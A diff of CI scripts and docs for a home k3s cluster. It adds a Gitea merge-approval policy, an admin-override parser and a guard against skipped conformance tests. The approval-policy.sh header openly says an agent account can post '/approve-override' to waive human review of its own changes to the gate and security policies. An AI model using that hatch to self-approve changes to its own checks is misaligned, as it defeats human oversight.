   - host: sonarr.${BASE_DOMAIN}
     port: 8989                  # Sonarr web/API; TLS terminates at the shared Gateway (docs/08, docs/09)
@@ -112,6 +115,14 @@ auth:
     # via k8s-oidc-rbac.yaml). Without it, an empty media-users locks every operator out with an
     # immediate 403 at the oauth2-proxy callback — observed on prod 2026-09-12.
     - platform-admins           # operators of these services must not be locked out of them
+  # NO `apiRoutes` HERE, AND NOT BECAUSE IT NEEDS NONE — because nothing measures that it does.
+  # Sonarr is nearly the same codebase as Radarr, which is exactly what makes `^/api/` +
+  # `^/signalr/` a tempting guess and still a guess. MEASURED 2026-10-01 on the live pod
+  # (sonarr-ddf485775-8ckwt, 0 restarts, 23h): its oauth2-proxy log contains 13,643 lines and
+  # ZERO unauthenticated requests — no /api/, no /signalr/, nothing but health probes. Nobody
+  # has opened this UI since the cookie fix rolled, so the measurement is empty rather than
+  # negative: it is evidence of no TRAFFIC, not evidence of no need. Add the routes when someone
+  # reproduces the 302-on-XHR here, with the numbers.
 update:
   channel: stable               # R-UPD-01
   range: ">=4.0.0 <5.0.0"       # stay on the Sonarr v4 stable line

ci/Makefile

@@ -12,7 +12,7 @@ CI_DIR := $(dir $(abspath $(lastword $(MAKEFILE_LIST))))
 
 .DEFAULT_GOAL := help
 
-.PHONY: help spec-immutability lint schema l0 render-golden l1 conformance gate all touched versions tools test
+.PHONY: help spec-immutability decisions-log lint schema l0 render-golden l1 conformance gate all touched versions tools test
 
 help: ## Show this help
 	@awk 'BEGIN{FS=":.*##"} /^[a-zA-Z0-9_-]+:.*##/{printf "  \033[36m%-14s\033[0m %s\n",$$1,$$2}' $(MAKEFILE_LIST)
@@ -29,9 +29,18 @@ schema l0: ## ServiceDefinition schema validation + Kyverno L0 policy gate (no c
 render-golden: ## render==golden: canonical render reproduces committed apps/ (no cluster; live now)
 	@"$(CI_DIR)render-golden.sh"
 
+decisions-log: ## handoff log: DECISIONS-LOG.md frozen, decisions/ entries well-formed (no cluster)
+	@"$(CI_DIR)decisions-log.sh"
+
 l1: ## L1 rendering checks (no cluster; live now)
 	@"$(CI_DIR)l1.sh"
 
+approval-policy: ## CI is the approver; sensitive paths still need a human (needs PR_NUMBER + token)
+	@./approval-policy.sh
+
+gitea-settings: ## Gitea branch protection + runners match infra/gitea/expected-branch-protection.json (SKIPS w/o GITEA_SETTINGS_TOKEN)
+	@./gitea-settings.sh
+
 conformance: ## L2/L3 in-cluster Chainsaw Job (SKIPS w/o CLUSTER_AVAILABLE=true)
 	@"$(CI_DIR)conformance.sh"
 

ci/README.md

@@ -1,5 +1,19 @@
 # `ci/` — portable merge gate (runnable today, without Gitea)
 
+> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
+> This document speaks as though no cluster exists and the platform is scaffolding. **A
+> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
+> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
+> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
+> describing a **live gap** rather than an expected stage — most importantly, L2/L3
+> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
+> coverage hole, not a phase.
+>
+> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
+> documentation rather than measurement, and `main` was unprotected with zero runners
+> registered the whole time. **Query the live API before asserting platform state.**
+
+
 **Task T-0.2 · R-TEST-02 (reproducible, single-command) · Owner WS-GITOPS (CI).**
 
 The same merge gate the Gitea Actions workflow runs
@@ -87,6 +101,7 @@ caller that must distinguish them invokes `./ci/gate.sh` directly.
 |---|---|---|
 | `lint`, `l0`, `render-golden`, `l1` | a **pinned tool is absent** or a **wired seam went unwired** — it *could not run* | **BLOCKED** under strict skips (a CI runner: the toolchain is installed for us by `.gitea/workflows/scripts/install-tools.sh`, so a skip is a defect); **UNDETERMINED** otherwise (a workstation missing a tool is a real local condition — still non-zero, still not a pass; the remedy is `infra/devcontainer/dev.sh`, which carries the pinned toolchain) |
 | `spec-immutability` (R-TEST-06) | the sibling spec repo is not checked out, so the spec **could not be verified** | **UNDETERMINED** — unverified is unverified. Deliberately *not* upgraded to BLOCKED by strict skips: the live runner does not check the spec repo out at all, so blocking would leave the only enforced status check permanently red for a reason no PR could clear. It is therefore the **one** skip whose non-answer a caller may knowingly tolerate, and `.gitea/workflows/gate.yml` does so in one visible line. `REQUIRE_SPEC_VERIFICATION=true` makes it a hard block once that checkout is wired. Locally: check the spec repo out beside this one, or set `SPEC_REPO` (`dev.sh` mounts a sibling automatically). |
+| `decisions-log` | **nothing** — this stage has no skip path. It reads only files in the tree under test and needs no tool and no cluster, so there is no environment in which it "could not run" | a reported skip is a **defect in the stage** and BLOCKS. The stage fails when the frozen `DECISIONS-LOG.md` is modified (which silently re-creates, for every *other* open branch, the tail-hunk conflict that made four of five PRs unmergeable on 2026-09-29) or when a `decisions/` entry is malformed. There is deliberately **no** `REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard. See `decisions/README.md`. |
 | `conformance` (L2/L3) | `CLUSTER_AVAILABLE!=true` — the environment **declared** the capability absent (documented Phase-0 behaviour) | **does not deny a PASS**: a declared-inapplicable stage was never *supposed* to run. It is NAMED in the PASS headline and step summary, the touched requirements it would have covered are reported UNVERIFIED, and `REQUIRE_CLUSTER_TESTS=true` (Phase 1+) turns that into a block. A skip **despite** `CLUSTER_AVAILABLE=true` is a defect and BLOCKS. |
 
 That asymmetry is the whole rule: **declared-not-applicable may pass; could-not-run may not.**

ci/approval-override.py

@@ -0,0 +1,194 @@
+#!/usr/bin/env python3
+"""ci/approval-override.py — select the admin-override on a PR, if there is a valid one.
+
+This script decides NOTHING about authority. It parses a PR's comments and reviews and returns
+the single override *candidate* that ci/approval-policy.sh should then try to authorise against
+the live Gitea permission API. Keeping the two apart is the point:
+
+  * parsing is pure, offline, and therefore TESTABLE (ci/tests/approval-override.test.sh);
+  * authorisation needs the API and must stay in the stage that fails closed.
+
+A candidate is a comment OR a review whose body contains, AT THE START OF A LINE, the directive
+followed by a non-empty reason:
+
+    /approve-override the gate cannot gate itself and I am the only human reviewer
+
+TWO SOURCES, AND WHY THAT IS NOT BELT-AND-BRACES. Measured 2026-10-02 on PR #38: the override was
+posted as an ordinary PR comment, was well-formed, was newer than the head commit — and the stage
+still blocked, because CI could not READ it. `SETTINGS_API_TOKEN` is minted with scopes
+`[read:repository, read:admin]`, and Gitea puts /issues/{n}/comments behind the *issue* scope, so
+the request came back as an error OBJECT rather than an array. `/pulls/{n}/reviews` is under
+read:repository and was readable in the same run. So:
+
+  * a REVIEW body works with the token CI has today (leave a review of type "Comment");
+  * a COMMENT body works once the token carries read:issue (see infra/gitea/set-ci-token.sh).
+
+Accepting both means the hatch is not hostage to one API scope. A source that cannot be read
+contributes no candidates and is reported on stderr; it can only cause a false BLOCK, never a
+false pass, which is why degrading it is safe and blocking on it was not necessary.
+
+WHY EACH RULE IS HERE
+
+  * START OF A LINE, not "anywhere in the body". Otherwise quoting someone else's override
+    ("you could just /approve-override this") re-arms it. Lines beginning with '>' are DROPPED
+    rather than unquoted, for exactly that reason.
+  * A REASON IS MANDATORY. A bare directive records that a review was waived but not why, which
+    is the difference between an audit trail and a rubber stamp.
+  * STALE OVERRIDES ARE DISCARDED. An override earned at commit A must not silently cover commit
+    B. Any candidate created at or before the head commit's timestamp is dropped — the same
+    semantics Gitea's own `dismiss_stale_approvals` applies to approvals. Push new commits and
+    you must re-override.
+  * A PENDING REVIEW IS NOT SUBMITTED. It is a private draft visible only to its author, so it is
+    not an act of anything and is dropped.
+  * THE LATEST CANDIDATE WINS, across both sources, so a later override supersedes an earlier one.
+
+Output: one TSV line (login, timestamp, source, reason) on stdout, or nothing at all when there is
+no valid candidate. Never exits non-zero for "no override" — absence is a normal answer and the
+caller must not be able to confuse it with a parse crash.
+
+Input, all via env so nothing lands in `ps`:
+  COMMENTS_JSON  the Gitea /issues/{n}/comments array (or an error object; or absent)
+  REVIEWS_JSON   the Gitea /pulls/{n}/reviews array   (or an error object; or absent)
+  HEAD_TIME      ISO-8601 timestamp of the PR head commit
+  DIRECTIVE      the override directive, e.g. /approve-override
+"""
+import json
+import os
+import re
+import sys
+from datetime import datetime, timezone
+
+
+def parse_ts(value):
+    """Gitea emits RFC3339. Return an aware datetime, or None if it is unparseable.
+
+    Unparseable is NOT 'treat as fresh': the caller drops such a candidate, because a
+    timestamp we cannot read is a staleness check we cannot perform.
+    """
+    if not value:
+        return None
+    text = str(value).strip()
+    # Python < 3.11 cannot read a trailing 'Z' in fromisoformat.
+    if text.endswith(("Z", "z")):
+        text = text[:-1] + "+00:00"
+    try:
+        parsed = datetime.fromisoformat(text)
+    except ValueError:
+        return None
+    if parsed.tzinfo is None:
+        parsed = parsed.replace(tzinfo=timezone.utc)
+    return parsed
+
+
+def extract_reason(body, directive):
+    """Return the reason from the first line that STARTS with the directive, else None."""
+    pattern = re.compile(
+        r"^[ \t]*" + re.escape(directive) + r"(?=[ \t:]|$)[ \t:]*(.*)$"
+    )
+    for raw in (body or "").splitlines():
+        # A quoted line is somebody repeating an override, not casting one.
+        if raw.lstrip().startswith(">"):
+            continue
+        match = pattern.match(raw)
+        if match:
+            reason = match.group(1).strip()
+            return reason or None
+    return None
+
+
+def load_source(env_name, label):
+    """Return a list of items for one source, or [] with a stderr note if it is unusable."""
+    raw = os.environ.get(env_name)
+    if not raw or not raw.strip():
+        return []
+    try:
+        parsed = json.loads(raw)
+    except (ValueError, TypeError):
+        print(
+            "approval-override: %s is not valid JSON — ignoring that source" % label,
+            file=sys.stderr,
+        )
+        return []
+    if isinstance(parsed, list):
+        return parsed
+    # An error object, typically {"message": "token does not have ... scope"}. Say which,
+    # because "no override found" and "could not read the overrides" look identical from
+    # the outside and the first wasted a real debugging session.
+    detail = ""
+    if isinstance(parsed, dict):
+        detail = str(parsed.get("message") or parsed.get("errors") or "")[:200]
+    print(
+        "approval-override: %s is not a list (Gitea returned %s%s) — ignoring that source"
+        % (label, type(parsed).__name__, ": " + detail if detail else ""),
+        file=sys.stderr,
+    )
+    return []
+
+
+def candidates_from(items, source, directive, head_time):
+    """Yield (when, login, reason, raw_when, source) for every valid override in one source."""
+    found = []
+    for item in items:
+        if not isinstance(item, dict):
+            continue
+        login = ((item.get("user") or {}).get("login") or "").strip()
+        reason = extract_reason(item.get("body"), directive)
+        if not login or not reason:
+            continue
+        # A PENDING review is an unsubmitted private draft — not an act of anything.
+        state = str(item.get("state") or "").upper()
+        if source == "review" and state == "PENDING":
+            print(
+                "approval-override: dropping PENDING (unsubmitted) review by '%s'" % login,
+                file=sys.stderr,
+            )
+            continue
+        raw_when = (
+            item.get("submitted_at") or item.get("created_at") or item.get("updated_at") or ""
+        )
+        when = parse_ts(raw_when)
+        if when is None:
+            print(
+                "approval-override: dropping %s override by '%s' — unreadable timestamp %r"
+                % (source, login, raw_when),
+                file=sys.stderr,
+            )
+            continue
+        # An override must post-date the commit it covers.
+        if head_time is not None and when <= head_time:
+            print(
+                "approval-override: dropping STALE %s override by '%s' (%s) — not newer than "
+                "head commit (%s). Re-post it to override the current commit."
+                % (source, login, when.isoformat(), head_time.isoformat()),
+                file=sys.stderr,
+            )
+            continue
+        found.append((when, login, reason, raw_when, source))
+    return found
+
+
+def main():
+    directive = os.environ.get("DIRECTIVE", "/approve-override").strip()
+    head_time = parse_ts(os.environ.get("HEAD_TIME", ""))
+
+    found = []
+    found += candidates_from(
+        load_source("COMMENTS_JSON", "COMMENTS_JSON"), "comment", directive, head_time
+    )
+    found += candidates_from(
+        load_source("REVIEWS_JSON", "REVIEWS_JSON"), "review", directive, head_time
+    )
+
+    if not found:
+        return 0
+
+    # Latest wins, across both sources: a later override supersedes an earlier one.
+    when, login, reason, raw_when, source = max(found, key=lambda c: c[0])
+    # Keep the reason on one line — this becomes a TSV field.
+    reason = " ".join(reason.split())
+    print("%s\t%s\t%s\t%s" % (login, raw_when, source, reason))
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())

ci/approval-policy.sh

@@ -0,0 +1,274 @@
+#!/usr/bin/env bash
+# ci/approval-policy.sh — the CI/CD pipeline is the approver, EXCEPT for changes that alter
+# what the pipeline verifies or the security posture it rests on.
+#
+# THE POLICY, and why it is shaped this way.
+#
+# Operator intent (2026-09-29): "CI/CD pipeline is the end-all-be-all for approval. If the CI
+# pipeline is not good enough to be trusted for this, then it is not good enough to do its
+# intended job and needs to be improved. Manual approvers should only be for architecturally or
+# security relevant changes -- which is essentially the CI pipeline itself and kyverno policies."
+#
+# So `required_approvals` on the branch drops to 0 and the GATE decides. That is a real transfer
+# of authority, and it has exactly one hole: **a change to the gate cannot be gated by the gate.**
+# A PR that weakens a check would be approved by the weakened check. The same applies to the
+# admission policies, the Flux wiring that decides what reconciles, the SOPS recipients, and the
+# RBAC. Those are the "architecturally or security relevant" set, and this stage is what still
+# requires a human for them.
+#
+# The list is data, not code: infra/gitea/approval-policy.json, with a stated reason per entry so
+# it stays reviewable. Changing that list is itself a sensitive change (infra/gitea/**), so the
+# policy cannot be widened without a human.
+#
+# FAIL-CLOSED, DELIBERATELY DIFFERENT FROM gitea-settings.sh. That stage skips when its token is
+# missing, because an unwired credential blocking every PR is a lock-out. Here the reverse is
+# true: if this cannot evaluate, an unreviewed change to the gate itself could merge. A skip is a
+# BYPASS, not a gap. So: cannot determine -> BLOCK.
+#
+# THE ADMIN OVERRIDE (added 2026-10-01), and the lock-out it clears.
+#
+# The rule above was UNSATISFIABLE for the one human who runs this repo. Gitea refuses to let a
+# pull request's author approve their own PR, and `jakman85` is the only collaborator — so "an
+# APPROVED review from someone who is not its author" is a condition the sole administrator can
+# never meet. Every sensitive-path PR they opened was permanently unmergeable, INCLUDING the PR
+# that would fix it. Measured 2026-10-01: PR #35, gate green in 1m41s, zero reviews, blocked.
+#
+# So an administrator may waive the review by COMMENTING on the PR:
+#
+#     /approve-override <reason>
+#
+# Authority comes from the LIVE Gitea permission API, never from the comment — the commenter must
+# hold a permission listed in `.override.authorized_permissions` (admin/owner) at the moment the
+# gate runs, so an old comment from a since-demoted account is worth nothing. The directive must
+# start a line, a reason is mandatory, and the comment must POST-DATE the head commit: an override
+# earned at commit A does not cover commit B. Choosing the candidate comment is the job of the
+# pure, offline, unit-tested ci/approval-override.py; AUTHORISING it is the job of this stage,
+# which fails closed.
+#
+# WHAT THIS COSTS, STATED PLAINLY. For an administrator, "a change to the gate cannot be gated by
+# the gate" stops being structural and becomes advisory. That is the unavoidable consequence of
+# there being one human; the alternative is a repository its owner cannot change. What is bought
+# back is a RECORD — the waiver is an explicit act, attributed to an account, carrying a stated
+# reason, in the PR history and in this stage's output. A silent bypass keyed on "is the author an
+# admin?" would have been less code and is exactly the fail-open shape this repo keeps finding.
+#
+# AND THE PART THAT IS NOT COMFORTABLE. Authorisation is by permission ALONE, with no allowlist of
+# human accounts (operator decision, 2026-10-01, taken with this consequence on the table). The
+# AGENT account `gitea-admin` also reports permission `owner` here, so an agent can clear the
+# sensitive-path review on its own PR by posting the directive — and agents author most PRs in
+# this repo, so that is the common case, not an edge case. To narrow it without touching this
+# logic, add an `override_admins` list to infra/gitea/approval-policy.json: the check below
+# already requires membership whenever that key is present.
+#
+# EXIT CODES
+#   0  no sensitive paths touched (gate alone is sufficient), OR sensitive paths touched and
+#      either a non-author APPROVED review or a valid admin override is present
+#   1  sensitive paths touched with neither, OR the policy could not be evaluated
+set -euo pipefail
+CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
+# shellcheck disable=SC1091
+source "${CI_DIR}/lib.sh"
+
+log "Stage: approval policy (CI approves; humans approve changes to CI)"
+
+DECL="${REPO_ROOT}/infra/gitea/approval-policy.json"
+[ -f "$DECL" ] || die "approval policy declaration missing: ${DECL}"
+require_tool jq
+require_tool python3
+
+# Not a PR -> nothing to gate. A push to main is already merged, and direct pushes are refused
+# by branch protection, so this is genuinely not-applicable rather than a skipped check.
+EVENT="${GITHUB_EVENT_NAME:-${EVENT_NAME:-}}"
+PR="${PR_NUMBER:-}"
+if [ "$EVENT" != "pull_request" ] || [ -z "$PR" ] || [ "$PR" = "null" ]; then
+  ok "not a pull_request event (event='${EVENT:-none}') — approval policy N/A"
+  exit 0
+fi
+
+GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
+GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
+TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
+if [ -z "$TOKEN" ]; then
+  err "no SETTINGS_API_TOKEN — cannot read this PR's changed files or its reviews."
+  err "  BLOCKING. A skip here would let an unreviewed change to the gate itself merge."
+  summary "- approval-policy: **BLOCKED — cannot evaluate** (no token; a skip here is a bypass)"
+  exit 1
+fi
+api() { curl -sS --max-time 20 -H "Authorization: token ${TOKEN}" "$@"; }
+
+FILES_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}/files?limit=1000" || true)"
+PR_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}" || true)"
+REVIEWS_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}/reviews" || true)"
+# PR conversation comments live under the ISSUES endpoint. `/pulls/{n}/comments` returns review
+# (diff) comments ONLY, so an override posted in the normal comment box would never appear in it.
+# Verified against this Gitea (1.24.3) rather than assumed.
+#
+# This one is NOT in the must-parse loop below, and that is deliberate. /issues/{n}/comments sits
+# behind Gitea's *issue* token scope, which `SETTINGS_API_TOKEN` does not carry (it is minted
+# `[read:repository, read:admin]`) — so it returns an error OBJECT, not an array. Blocking on that
+# turned "CI cannot read your override" into a message that said "you did not post one", and cost a
+# real debugging session on PR #38. It is handled explicitly, and loudly, further down: an
+# unreadable source can only cause a false BLOCK, never a false pass.
+COMMENTS_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/issues/${PR}/comments?limit=1000" || true)"
+for v in FILES_JSON PR_JSON REVIEWS_JSON; do
+  jq -e . >/dev/null 2>&1 <<<"${!v}" || {
+    err "could not read ${v} from Gitea for PR #${PR} — BLOCKING rather than assuming."
+    summary "- approval-policy: **BLOCKED — Gitea unreadable**"
+    exit 1; }
+done
+
+AUTHOR="$(jq -r '.user.login // empty' <<<"$PR_JSON")"
+[ -n "$AUTHOR" ] || { err "could not determine PR author — BLOCKING"; exit 1; }
+
+# NOTE: the PR file list goes in via an ENV VAR, not a second stdin redirect. `python3 - <<EOF`
+# already consumes stdin for the script; adding `<<<"$json"` silently wins and the script body is
+# never read. Caught before shipping, by running it.
+SENSITIVE="$(FILES_JSON="$FILES_JSON" DECL="$DECL" python3 -c '
+import json, os, fnmatch
+decl = json.load(open(os.environ["DECL"]))
+files = [f.get("filename", "") for f in json.loads(os.environ["FILES_JSON"])]
+pats = decl["sensitive_paths"]
+hits = sorted({f for f in files for p in pats
+               if fnmatch.fnmatch(f, p) or (p.endswith("/**") and f.startswith(p[:-2]))})
+print("\n".join(hits))
+')"
+
+if [ -z "$SENSITIVE" ]; then
+  ok "no architecturally/security-relevant paths touched — the GATE is the approver."
+  summary "- approval-policy: **green** (CI approves; no sensitive paths touched)"
+  exit 0
+fi
+
+echo "  sensitive paths touched:" >&2
+printf '    %s\n' $SENSITIVE >&2
+
+APPROVER="$(jq -r --arg a "$AUTHOR" \
+  '[.[] | select(.state == "APPROVED") | select(.user.login != $a) | .user.login] | first // empty' \
+  <<<"$REVIEWS_JSON")"
+
+if [ -n "$APPROVER" ]; then
+  ok "approved by '${APPROVER}' (author '${AUTHOR}') — sensitive change is human-reviewed."
+  summary "- approval-policy: **green** (sensitive paths approved by \`${APPROVER}\`)"
+  exit 0
+fi
+
+# ─────────────────────────────────────────────────────────────────────────────────────────
+# No non-author approval exists. Before refusing, look for an administrator's explicit
+# override. See the header for why this hatch exists and what it costs.
+# ─────────────────────────────────────────────────────────────────────────────────────────
+OVERRIDE_ENABLED="$(jq -r '.override.enabled // false' "$DECL")"
+DIRECTIVE="$(jq -r '.override.comment_directive // "/approve-override"' "$DECL")"
+HEAD_SHA="$(jq -r '.head.sha // empty' <<<"$PR_JSON")"
+
+if [ "$OVERRIDE_ENABLED" = "true" ]; then
+  # The head commit's timestamp anchors staleness. Read it from GITEA, not from the local
+  # tree: CI checks out a merge commit, whose date is not the head commit's date.
+  HEAD_TIME=""
+  if [ -n "$HEAD_SHA" ]; then
+    HEAD_COMMIT_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/git/commits/${HEAD_SHA}" || true)"
+    HEAD_TIME="$(jq -r '.commit.committer.date // .created // empty' <<<"${HEAD_COMMIT_JSON:-null}" 2>/dev/null || true)"
+  fi
+  if [ -z "$HEAD_TIME" ]; then
+    err "could not read the head commit's timestamp for PR #${PR} — BLOCKING."
+    err "  Without it an override cannot be aged, and an unaged override is one that silently"
+    err "  covers commits nobody waived review on."
+    summary "- approval-policy: **BLOCKED — head commit timestamp unreadable** (cannot age an override)"
+    exit 1
+  fi
+
+  # Is the comments source actually readable? Say so plainly if not — a scope problem and "you
+  # never posted an override" are indistinguishable from the outside, and conflating them is what
+  # made PR #38 look like a code bug.
+  if ! jq -e 'type == "array"' >/dev/null 2>&1 <<<"${COMMENTS_JSON:-}"; then
+    SCOPE_MSG="$(jq -r '.message // empty' <<<"${COMMENTS_JSON:-null}" 2>/dev/null || true)"
+    warn "cannot read PR COMMENTS from Gitea${SCOPE_MSG:+ — ${SCOPE_MSG}}."
+    warn "  /issues/${PR}/comments needs the *issue* token scope; SETTINGS_API_TOKEN is minted"
+    warn "  [read:repository, read:admin] (infra/gitea/set-ci-token.sh). An override posted as an"
+    warn "  ordinary PR COMMENT is therefore invisible to CI — post it as a REVIEW of type"
+    warn "  'Comment' instead, which /pulls/${PR}/reviews exposes under read:repository."
+    summary "- approval-policy: note — PR comments unreadable (token lacks the issue scope); use a **review** to override"
+    COMMENTS_JSON='[]'
+  fi
+
+  # Pure, offline, unit-tested selection: which comment or review, if any, is a live override?
+  OVERRIDE_TSV="$(COMMENTS_JSON="$COMMENTS_JSON" REVIEWS_JSON="$REVIEWS_JSON" \
+    HEAD_TIME="$HEAD_TIME" DIRECTIVE="$DIRECTIVE" \
+    python3 "${CI_DIR}/approval-override.py")" || {
+      err "ci/approval-override.py failed — BLOCKING rather than assuming there is no override."
+      summary "- approval-policy: **BLOCKED — override parser failed**"
+      exit 1; }
+
+  if [ -n "$OVERRIDE_TSV" ]; then
+    OV_USER="$(cut -f1 <<<"$OVERRIDE_TSV")"
+    OV_WHEN="$(cut -f2 <<<"$OVERRIDE_TSV")"
+    OV_SRC="$(cut -f3 <<<"$OVERRIDE_TSV")"
+    OV_WHY="$(cut -f4- <<<"$OVERRIDE_TSV")"
+
+    # AUTHORITY IS MEASURED LIVE, never inferred from the comment or from a name in git.
+    PERM_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/collaborators/${OV_USER}/permission" || true)"
+    OV_PERM="$(jq -r '.permission // empty' <<<"${PERM_JSON:-null}" 2>/dev/null || true)"
+    if [ -z "$OV_PERM" ]; then
+      err "'${OV_USER}' posted ${DIRECTIVE}, but their permission on ${GITEA_REPO} could not be"
+      err "  read — BLOCKING. An override whose authority is unverified is not an override."
+      summary "- approval-policy: **BLOCKED — cannot verify \`${OV_USER}\`'s permission**"
+      exit 1
+    fi
+
+    # Authorised when the LIVE permission is one of the declared ones and — only if an
+    # `override_admins` allowlist exists at all — the account is on it. No allowlist means
+    # permission alone, which is the operator's standing decision; adding the key narrows
+    # this with no change to any code.
+    AUTHORISED="$(DECL="$DECL" OV_PERM="$OV_PERM" OV_USER="$OV_USER" python3 -c '
+import json, os
+d = json.load(open(os.environ["DECL"])).get("override", {})
+perms = d.get("authorized_permissions") or ["admin", "owner"]
+allow = d.get("override_admins")
+ok_perm = os.environ["OV_PERM"] in perms
+ok_list = True if allow is None else os.environ["OV_USER"] in allow
+print("yes" if (ok_perm and ok_list) else "no")
+')"
+
+    if [ "$AUTHORISED" = "yes" ]; then
+      if [ "$OV_USER" = "$AUTHOR" ]; then
+        warn "ADMIN OVERRIDE — SELF-WAIVED. '${OV_USER}' authored this PR and waived the"
+        warn "  non-author review requirement on their own change. Permitted (permission"
+        warn "  '${OV_PERM}'), deliberate, and shouted about here precisely because it is not free."
+      else
+        warn "ADMIN OVERRIDE by '${OV_USER}' (permission '${OV_PERM}'); author is '${AUTHOR}'."
+      fi
+      warn "  via:    PR ${OV_SRC}"
+      warn "  when:   ${OV_WHEN}  (head commit ${HEAD_SHA:0:8}, ${HEAD_TIME})"
+      warn "  reason: ${OV_WHY}"
+      warn "  review waived on: $(printf '%s ' $SENSITIVE)"
+      ok "sensitive paths cleared by administrator override — this stage does not block."
+      SELFNOTE=""; [ "$OV_USER" = "$AUTHOR" ] && SELFNOTE=", **self-waived as author**"
+      summary "- approval-policy: **OVERRIDDEN by \`${OV_USER}\`** (permission \`${OV_PERM}\`, via PR ${OV_SRC}${SELFNOTE})"
+      summary "  - reason: ${OV_WHY}"
+      summary "  - review waived on: $(printf '\`%s\` ' $SENSITIVE)"
+      exit 0
+    fi
+
+    err "'${OV_USER}' posted ${DIRECTIVE} but is NOT authorised to override: live permission is"
+    err "  '${OV_PERM}'. The authorised set is declared in infra/gitea/approval-policy.json."
+    summary "- approval-policy: **BLOCKED — \`${OV_USER}\` may not override** (permission \`${OV_PERM}\`)"
+    exit 1
+  fi
+fi
+
+err "This PR changes the pipeline or the security posture it rests on, and has NO approving"
+err "  review from anyone other than its author ('${AUTHOR}')."
+err "  A change to the gate cannot be gated by the gate — that is the one thing CI cannot"
+err "  honestly approve for itself. Get a human review, or move the change out of:"
+printf '    %s\n' $SENSITIVE >&2
+err "  The list lives in infra/gitea/approval-policy.json, with a reason per entry."
+if [ "$OVERRIDE_ENABLED" = "true" ]; then
+  err "  Or, if you hold admin/owner on this repository, post this on the PR:"
+  err "      ${DIRECTIVE} <reason>"
+  err "  as a REVIEW of type 'Comment' (not the plain comment box — CI's token cannot read"
+  err "  /issues/${PR}/comments without the issue scope; see infra/gitea/set-ci-token.sh)."
+  err "  The reason is mandatory, the directive must START a line, and it must be NEWER than"
+  err "  head commit ${HEAD_SHA:0:8} — push again and you must override again."
+fi
+summary "- approval-policy: **BLOCKED — needs a non-author approval, or an admin \`${DIRECTIVE}\` comment**"
+exit 1

ci/conformance.sh

@@ -61,5 +61,45 @@ if [ -d "${CONF_ART}/coverage" ]; then
   cp -r "${CONF_ART}/coverage/." "${COVERAGE_DIR}/"
 fi
 
+# ---------------------------------------------------------------------------------------
+# DID IT ACTUALLY RUN? -- the guard without which this stage FAKES A GREEN.
+#
+# run.sh exits 0 in "scaffold mode" when it cannot reach a cluster: it emits a JUnit file
+# whose every testcase is <skipped> and returns success. That is correct FOR run.sh -- an
+# honest skip is its documented no-cluster behaviour. It is catastrophic HERE, because
+# reaching this point means the environment DECLARED CLUSTER_AVAILABLE=true, and this stage
+# would otherwise print "L2/L3 conformance passed" over 54 tests that never executed.
+#
+# MEASURED 2026-09-29, before this guard existed:
+#   CLUSTER_AVAILABLE=true ./ci/conformance.sh   ->  rc=0
+#   "[junit] wrote skipped JUnit for 54 scaffolded test(s)"
+#   "[ ok ] L2/L3 conformance passed for touched subset"
+# One Gitea variable away from a fake green on an enforcing merge gate. That is exactly the
+# HARD RULE 4 violation this repo's whole gate design exists to prevent, and nothing caught
+# it because nobody had ever set the variable.
+#
+# A skip while a cluster is DECLARED is a contradiction: either the declaration is wrong or
+# the cluster is unreachable. The merge-gate decision matrix already says this case is BLOCK
+# ("conformance skipped while CLUSTER_AVAILABLE=true -> BLOCK (it should have run)"). This
+# makes the stage itself honour that instead of reporting a pass.
+JUNIT="${CONF_ART}/report.junit.xml"
+if [ -f "$JUNIT" ]; then
+  total="$(grep -o '<testcase' "$JUNIT" | wc -l | tr -d ' ')"
+  skipped="$(grep -o '<skipped' "$JUNIT" | wc -l | tr -d ' ')"
+  if [ "${total:-0}" -gt 0 ] && [ "${skipped:-0}" -ge "${total:-0}" ]; then
+    err "CLUSTER_AVAILABLE=true, but the L2/L3 suite SKIPPED every one of its ${total} tests"
+    err "  (scaffold mode -- run.sh could not reach a cluster and exited 0)."
+    err "  This stage will NOT report that as a pass. Either the cluster is unreachable from"
+    err "  this runner, or CLUSTER_AVAILABLE is set when it should not be."
+    err "  NOTE: the in-cluster trigger path is still UNIMPLEMENTED -- see"
+    err "  docs/plans/l2-l3-conformance-ci-wiring.md. Setting CLUSTER_AVAILABLE=true does not"
+    err "  by itself make L2/L3 run; it only makes this stage attempt a LOCAL run that the CI"
+    err "  runner has no credential for (automountServiceAccountToken: false, by design)."
+    summary "- conformance-l2-l3: **BLOCKED — declared available but every test skipped** (not a pass)"
+    exit 1
+  fi
+  log "L2/L3 executed: ${total} testcase(s), ${skipped} skipped"
+fi
+
 ok "L2/L3 conformance passed for touched subset"
 summary "- conformance-l2-l3: **passed**"

ci/decisions-log.sh

@@ -0,0 +1,195 @@
+#!/usr/bin/env bash
+# ci/decisions-log.sh — the handoff log is a DIRECTORY, and the old single file is frozen.
+#
+# WHY THIS STAGE EXISTS
+# ---------------------
+# CLAUDE.md §7 tells every agent to record a handoff before finishing. Until 2026-09-29 that
+# meant appending to the tail of one 5,228-line file, DECISIONS-LOG.md. Every branch appended
+# to the SAME last hunk, so git could not auto-merge any two of them. Measured that day against
+# the live Gitea: four of the five open PRs were `mergeable: false`, and `git merge-tree`
+# against `main` named DECISIONS-LOG.md as the ONLY conflicting path in all four:
+#
